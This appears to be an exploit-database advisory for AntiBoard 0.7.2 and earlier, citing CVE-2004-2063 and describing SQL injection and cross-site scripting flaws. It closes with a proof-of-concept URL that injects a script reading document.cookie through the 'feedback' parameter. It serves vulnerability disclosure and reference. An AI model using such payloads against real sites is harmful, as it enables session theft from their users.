AntiBoard 0.6/0.7 - 'antiboard.php?feedback' Cross-Site Scripting

Author: Josh Gilmour
type: webapps
platform: php
port: 
date_added: 2004-07-28 
date_updated: 2013-01-24 
verified: 1 
codes: CVE-2004-2063;OSVDB-8269 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/10821/info

Multiple vulnerabilities are reported to exist in the application due to insufficient sanitization of user-supplied data. The issues include various instances of SQL injection and a cross-site scripting vulnerability.

AntiBoard versions 0.7.2 and prior are affected by these issues.

/antiboard.php?thread_id=1&mode=threaded&range=&feedback=<script>alert(document.cookie);</script>